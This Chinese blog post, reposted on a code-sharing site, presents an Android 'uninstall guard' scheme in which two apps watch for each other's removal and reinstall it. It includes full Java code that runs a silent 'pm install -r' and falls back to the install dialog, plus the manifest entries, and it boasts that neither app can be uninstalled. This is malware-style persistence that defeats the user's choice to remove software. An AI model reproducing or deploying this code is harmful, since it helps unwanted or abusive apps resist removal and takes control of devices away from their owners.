码迷,mamicode.com
首页 > 移动开发 > 详细

Android APP卸载守护,双APP相互守护

时间:2015-03-21 17:17:02      阅读:175      评论:0      收藏:0      [点我收藏+]

标签:

介绍一种当用户或者其他软件卸载你的应用时,其守护应用守护该应用重新安装至系统的方案。


方案缺点:

1、当具有root权限的删除时无法守护 (rm data/app/*.apk)

2、当为非root手机时,采用显示安装,用户可选择取消安装

方案优点:

1、使用传统手法卸载软件时具有root权限时可顽固守护

2、双应用守护,无法卸载其中任何一个


方案原理:

采用BroadcastReceiver 接收拦截的应用卸载的消息,(由于系统原因,当接收到消息时,系统已经卸载了该应用才发出的消息,所以无法像短信拦截一样直接拦截)。

1、 接收到应用卸载信息

2、判断包名是否为需要守护的包名

3、如果是则启动重新安装

4、使用静默安装

5、如果失败使用普通安装


方案代码:

BroadcastReceiver

public class ProtectReceiver extends BroadcastReceiver {
	private static final String TAG = "ProtectReceiver";
	private String ACTION_PACKAGE_REMOVED = "android.intent.action.PACKAGE_REMOVED";
	private String PRO_APK_PATH = "/sdcard/test.apk"; //需修改

	@Override
	public void onReceive(Context context, Intent intent) {
		if (ACTION_PACKAGE_REMOVED.equals(intent.getAction())) {
		        //需修改
			if ("package:com.rapida.test".equals(intent.getDataString())) {
				reInstallApp(context);
			}
		}
	}

	private void reInstallApp(Context context) {
		if (!installSlient(context, PRO_APK_PATH)) {
			install(context, PRO_APK_PATH);
		}
	}

	private void install(Context context, String filePath) {
		Intent i = new Intent(Intent.ACTION_VIEW);
		i.setDataAndType(Uri.parse("file://" + filePath),
				"application/vnd.android.package-archive");
		i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
		context.startActivity(i);
	}

	private boolean installSlient(Context context, String filePath) {
		String[] args = { "pm", "install", "-r", filePath };
		ProcessBuilder processBuilder = new ProcessBuilder(args);

		Process process = null;
		BufferedReader successResult = null;
		BufferedReader errorResult = null;
		StringBuilder successMsg = new StringBuilder();
		StringBuilder errorMsg = new StringBuilder();
		boolean result = false;
		try {
			process = processBuilder.start();
			successResult = new BufferedReader(new InputStreamReader(
					process.getInputStream()));
			errorResult = new BufferedReader(new InputStreamReader(
					process.getErrorStream()));
			String s;

			while ((s = successResult.readLine()) != null) {
				successMsg.append(s);
			}

			while ((s = errorResult.readLine()) != null) {
				errorMsg.append(s);
			}
		} catch (IOException e) {
			e.printStackTrace();
			result = false;
		} catch (Exception e) {
			e.printStackTrace();
			result = false;
		} finally {
			try {
				if (successResult != null) {
					successResult.close();
				}
				if (errorResult != null) {
					errorResult.close();
				}
			} catch (IOException e) {
				e.printStackTrace();
			}
			if (process != null) {
				process.destroy();
			}
		}

		if (successMsg.toString().contains("Success")
				|| successMsg.toString().contains("success")) {
			result = true;
		} else {
			result = false;
		}

		return result;
	}

添加权限

<uses-permission android:name="android.permission.INSTALL_PACKAGES" />

添加receiver

<receiver android:name=".ProtectReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <data android:scheme="package" />
            </intent-filter>
</receiver>


程序应用:

在需要守护的应用里添加如上代码,因为是相互守护,需要在两个应用里都添加如上代码。


Android APP卸载守护,双APP相互守护

标签:

原文地址:http://my.oschina.net/oldmou/blog/389750

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!